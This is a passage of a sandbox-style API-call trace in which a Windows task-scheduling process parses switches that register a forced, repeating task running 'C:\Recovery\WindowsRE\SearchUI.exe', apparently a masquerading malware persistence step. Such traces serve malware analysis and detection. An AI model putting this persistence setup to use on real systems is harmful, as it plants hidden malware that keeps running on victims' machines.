_Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|delete|") returned 8 [0125.003] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|mo|") returned 4 [0125.003] lstrlenW (lpString="|delete|") returned 8 [0125.003] lstrlenW (lpString="|mo|") returned 4 [0125.003] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0125.004] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.004] lstrlenW (lpString="query") returned 5 [0125.004] lstrlenW (lpString="query") returned 5 [0125.004] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.004] lstrlenW (lpString="mo") returned 2 [0125.004] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.004] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|query|") returned 7 [0125.004] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|mo|") returned 4 [0125.004] lstrlenW (lpString="|query|") returned 7 [0125.004] lstrlenW (lpString="|mo|") returned 4 [0125.004] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0125.004] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.004] lstrlenW (lpString="change") returned 6 [0125.004] lstrlenW (lpString="change") returned 6 [0125.004] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.004] lstrlenW (lpString="mo") returned 2 [0125.004] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.004] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|change|") returned 8 [0125.004] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|mo|") returned 4 [0125.004] lstrlenW (lpString="|change|") returned 8 [0125.004] lstrlenW (lpString="|mo|") returned 4 [0125.004] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0125.004] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.004] lstrlenW (lpString="run") returned 3 [0125.004] lstrlenW (lpString="run") returned 3 [0125.004] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.005] lstrlenW (lpString="mo") returned 2 [0125.005] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.005] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|run|") returned 5 [0125.005] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|mo|") returned 4 [0125.005] lstrlenW (lpString="|run|") returned 5 [0125.005] lstrlenW (lpString="|mo|") returned 4 [0125.005] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0125.005] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.005] lstrlenW (lpString="end") returned 3 [0125.005] lstrlenW (lpString="end") returned 3 [0125.005] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.005] lstrlenW (lpString="mo") returned 2 [0125.005] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.005] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|end|") returned 5 [0125.005] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|mo|") returned 4 [0125.005] lstrlenW (lpString="|end|") returned 5 [0125.005] lstrlenW (lpString="|mo|") returned 4 [0125.005] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0125.005] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.005] lstrlenW (lpString="showsid") returned 7 [0125.005] lstrlenW (lpString="showsid") returned 7 [0125.005] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.005] lstrlenW (lpString="mo") returned 2 [0125.005] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.005] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|showsid|") returned 9 [0125.005] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|mo|") returned 4 [0125.006] lstrlenW (lpString="|showsid|") returned 9 [0125.006] lstrlenW (lpString="|mo|") returned 4 [0125.006] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0125.006] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.006] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.006] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.006] lstrlenW (lpString="/mo") returned 3 [0125.006] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0125.006] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.006] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.006] lstrlenW (lpString="/mo") returned 3 [0125.006] GetProcessHeap () returned 0x21c24e90000 [0125.006] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x8) returned 0x21c24e94280 [0125.006] GetProcessHeap () returned 0x21c24e90000 [0125.006] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b440 [0125.006] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.006] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.006] lstrlenW (lpString="11") returned 2 [0125.006] lstrlenW (lpString="-/") returned 2 [0125.006] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0125.006] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.006] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.006] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.006] lstrlenW (lpString="11") returned 2 [0125.006] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0125.006] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.006] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.006] lstrlenW (lpString="11") returned 2 [0125.006] GetProcessHeap () returned 0x21c24e90000 [0125.006] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x6) returned 0x21c24e942a0 [0125.006] GetProcessHeap () returned 0x21c24e90000 [0125.006] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9bb00 [0125.007] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.007] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.007] lstrlenW (lpString="/tr") returned 3 [0125.007] lstrlenW (lpString="-/") returned 2 [0125.007] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.007] lstrlenW (lpString="?") returned 1 [0125.007] lstrlenW (lpString="?") returned 1 [0125.007] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.007] lstrlenW (lpString="tr") returned 2 [0125.007] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.007] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|?|") returned 3 [0125.007] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tr|") returned 4 [0125.007] lstrlenW (lpString="|?|") returned 3 [0125.007] lstrlenW (lpString="|tr|") returned 4 [0125.007] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.007] lstrlenW (lpString="create") returned 6 [0125.007] lstrlenW (lpString="create") returned 6 [0125.007] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.007] lstrlenW (lpString="tr") returned 2 [0125.007] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.007] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|create|") returned 8 [0125.007] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tr|") returned 4 [0125.007] lstrlenW (lpString="|create|") returned 8 [0125.007] lstrlenW (lpString="|tr|") returned 4 [0125.007] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0125.007] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.007] lstrlenW (lpString="delete") returned 6 [0125.008] lstrlenW (lpString="delete") returned 6 [0125.008] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.008] lstrlenW (lpString="tr") returned 2 [0125.008] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.008] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|delete|") returned 8 [0125.008] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tr|") returned 4 [0125.008] lstrlenW (lpString="|delete|") returned 8 [0125.008] lstrlenW (lpString="|tr|") returned 4 [0125.008] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0125.008] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.008] lstrlenW (lpString="query") returned 5 [0125.008] lstrlenW (lpString="query") returned 5 [0125.008] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.008] lstrlenW (lpString="tr") returned 2 [0125.008] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.008] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|query|") returned 7 [0125.008] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tr|") returned 4 [0125.008] lstrlenW (lpString="|query|") returned 7 [0125.008] lstrlenW (lpString="|tr|") returned 4 [0125.008] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0125.008] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.008] lstrlenW (lpString="change") returned 6 [0125.008] lstrlenW (lpString="change") returned 6 [0125.008] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.008] lstrlenW (lpString="tr") returned 2 [0125.008] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.009] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|change|") returned 8 [0125.009] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tr|") returned 4 [0125.009] lstrlenW (lpString="|change|") returned 8 [0125.009] lstrlenW (lpString="|tr|") returned 4 [0125.009] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0125.009] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.009] lstrlenW (lpString="run") returned 3 [0125.009] lstrlenW (lpString="run") returned 3 [0125.009] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.009] lstrlenW (lpString="tr") returned 2 [0125.009] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.009] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|run|") returned 5 [0125.009] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tr|") returned 4 [0125.009] lstrlenW (lpString="|run|") returned 5 [0125.009] lstrlenW (lpString="|tr|") returned 4 [0125.009] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0125.009] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.009] lstrlenW (lpString="end") returned 3 [0125.009] lstrlenW (lpString="end") returned 3 [0125.009] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.009] lstrlenW (lpString="tr") returned 2 [0125.009] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.009] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|end|") returned 5 [0125.009] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tr|") returned 4 [0125.009] lstrlenW (lpString="|end|") returned 5 [0125.009] lstrlenW (lpString="|tr|") returned 4 [0125.010] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0125.010] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.010] lstrlenW (lpString="showsid") returned 7 [0125.010] lstrlenW (lpString="showsid") returned 7 [0125.010] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.010] lstrlenW (lpString="tr") returned 2 [0125.010] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.010] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|showsid|") returned 9 [0125.010] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tr|") returned 4 [0125.010] lstrlenW (lpString="|showsid|") returned 9 [0125.010] lstrlenW (lpString="|tr|") returned 4 [0125.010] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0125.010] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.010] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.010] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.010] lstrlenW (lpString="/tr") returned 3 [0125.010] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0125.010] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.010] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.010] lstrlenW (lpString="/tr") returned 3 [0125.010] GetProcessHeap () returned 0x21c24e90000 [0125.010] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x8) returned 0x21c24e942c0 [0125.010] GetProcessHeap () returned 0x21c24e90000 [0125.010] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b470 [0125.010] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.010] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.010] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.010] lstrlenW (lpString="-/") returned 2 [0125.010] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0125.011] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.011] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.011] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.011] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.011] StrChrIW (lpStart="'C:\\Recovery\\WindowsRE\\SearchUI.exe'", wMatch=0x3a) returned=":\\Recovery\\WindowsRE\\SearchUI.exe'" [0125.011] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.011] GetProcessHeap () returned 0x21c24e90000 [0125.011] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e942e0 [0125.011] _memicmp (_Buf1=0x21c24e942e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.011] GetProcessHeap () returned 0x21c24e90000 [0125.011] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xe) returned 0x21c24e9aa50 [0125.011] GetProcessHeap () returned 0x21c24e90000 [0125.011] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e9abd0 [0125.011] _memicmp (_Buf1=0x21c24e9abd0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.011] GetProcessHeap () returned 0x21c24e90000 [0125.011] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x4c) returned 0x21c24e94300 [0125.011] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.011] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.011] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.011] lstrlenW (lpString="'C") returned 2 [0125.011] lstrlenW (lpString="-/") returned 2 [0125.011] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0125.011] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.011] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.011] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.011] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.011] GetProcessHeap () returned 0x21c24e90000 [0125.011] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x4a) returned 0x21c24e93b20 [0125.011] GetProcessHeap () returned 0x21c24e90000 [0125.011] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b680 [0125.011] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.012] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.012] lstrlenW (lpString="/f") returned 2 [0125.012] lstrlenW (lpString="-/") returned 2 [0125.012] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.012] lstrlenW (lpString="?") returned 1 [0125.012] lstrlenW (lpString="?") returned 1 [0125.012] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.012] lstrlenW (lpString="f") returned 1 [0125.012] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.012] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|?|") returned 3 [0125.012] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|f|") returned 3 [0125.012] lstrlenW (lpString="|?|") returned 3 [0125.012] lstrlenW (lpString="|f|") returned 3 [0125.012] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0125.012] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.012] lstrlenW (lpString="create") returned 6 [0125.012] lstrlenW (lpString="create") returned 6 [0125.012] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.012] lstrlenW (lpString="f") returned 1 [0125.012] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.012] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|create|") returned 8 [0125.013] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|f|") returned 3 [0125.013] lstrlenW (lpString="|create|") returned 8 [0125.013] lstrlenW (lpString="|f|") returned 3 [0125.013] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0125.013] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.013] lstrlenW (lpString="delete") returned 6 [0125.013] lstrlenW (lpString="delete") returned 6 [0125.013] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.013] lstrlenW (lpString="f") returned 1 [0125.013] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.013] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|delete|") returned 8 [0125.013] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|f|") returned 3 [0125.013] lstrlenW (lpString="|delete|") returned 8 [0125.014] lstrlenW (lpString="|f|") returned 3 [0125.014] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0125.014] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.014] lstrlenW (lpString="query") returned 5 [0125.014] lstrlenW (lpString="query") returned 5 [0125.014] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.014] lstrlenW (lpString="f") returned 1 [0125.014] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.014] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|query|") returned 7 [0125.014] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|f|") returned 3 [0125.014] lstrlenW (lpString="|query|") returned 7 [0125.014] lstrlenW (lpString="|f|") returned 3 [0125.014] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0125.014] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.014] lstrlenW (lpString="change") returned 6 [0125.014] lstrlenW (lpString="change") returned 6 [0125.014] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.014] lstrlenW (lpString="f") returned 1 [0125.014] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.014] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|change|") returned 8 [0125.014] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|f|") returned 3 [0125.014] lstrlenW (lpString="|change|") returned 8 [0125.014] lstrlenW (lpString="|f|") returned 3 [0125.014] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0125.014] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.014] lstrlenW (lpString="run") returned 3 [0125.014] lstrlenW (lpString="run") returned 3 [0125.014] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.015] lstrlenW (lpString="f") returned 1 [0125.015] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.015] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|run|") returned 5 [0125.015] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|f|") returned 3 [0125.015] lstrlenW (lpString="|run|") returned 5 [0125.015] lstrlenW (lpString="|f|") returned 3 [0125.015] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0125.015] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.015] lstrlenW (lpString="end") returned 3 [0125.015] lstrlenW (lpString="end") returned 3 [0125.015] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.015] lstrlenW (lpString="f") returned 1 [0125.015] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.015] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|end|") returned 5 [0125.015] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|f|") returned 3 [0125.015] lstrlenW (lpString="|end|") returned 5 [0125.015] lstrlenW (lpString="|f|") returned 3 [0125.015] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0125.015] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.015] lstrlenW (lpString="showsid") returned 7 [0125.015] lstrlenW (lpString="showsid") returned 7 [0125.015] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.015] lstrlenW (lpString="f") returned 1 [0125.015] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.015] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|showsid|") returned 9 [0125.015] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|f|") returned 3 [0125.016] lstrlenW (lpString="|showsid|") returned 9 [0125.016] lstrlenW (lpString="|f|") returned 3 [0125.016] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0125.016] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.016] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.016] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.016] lstrlenW (lpString="/f") returned 2 [0125.016] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0125.016] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.016] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.016] lstrlenW (lpString="/f") returned 2 [0125.016] GetProcessHeap () returned 0x21c24e90000 [0125.016] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x6) returned 0x21c24e93b80 [0125.016] GetProcessHeap () returned 0x21c24e90000 [0125.016] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b800 [0125.016] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.016] GetProcessHeap () returned 0x21c24e90000 [0125.016] GetProcessHeap () returned 0x21c24e90000 [0125.016] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e93890) returned 1 [0125.016] GetProcessHeap () returned 0x21c24e90000 [0125.016] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e93890) returned 0x8 [0125.016] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e93890) returned 1 [0125.016] GetProcessHeap () returned 0x21c24e90000 [0125.016] GetProcessHeap () returned 0x21c24e90000 [0125.016] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9ba70) returned 1 [0125.016] GetProcessHeap () returned 0x21c24e90000 [0125.016] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9ba70) returned 0x20 [0125.017] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9ba70) returned 1 [0125.017] GetProcessHeap () returned 0x21c24e90000 [0125.017] GetProcessHeap () returned 0x21c24e90000 [0125.017] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e93920) returned 1 [0125.017] GetProcessHeap () returned 0x21c24e90000 [0125.017] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e93920) returned 0x14 [0125.017] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e93920) returned 1 [0125.017] GetProcessHeap () returned 0x21c24e90000 [0125.017] GetProcessHeap () returned 0x21c24e90000 [0125.017] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b3e0) returned 1 [0125.017] GetProcessHeap () returned 0x21c24e90000 [0125.017] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, 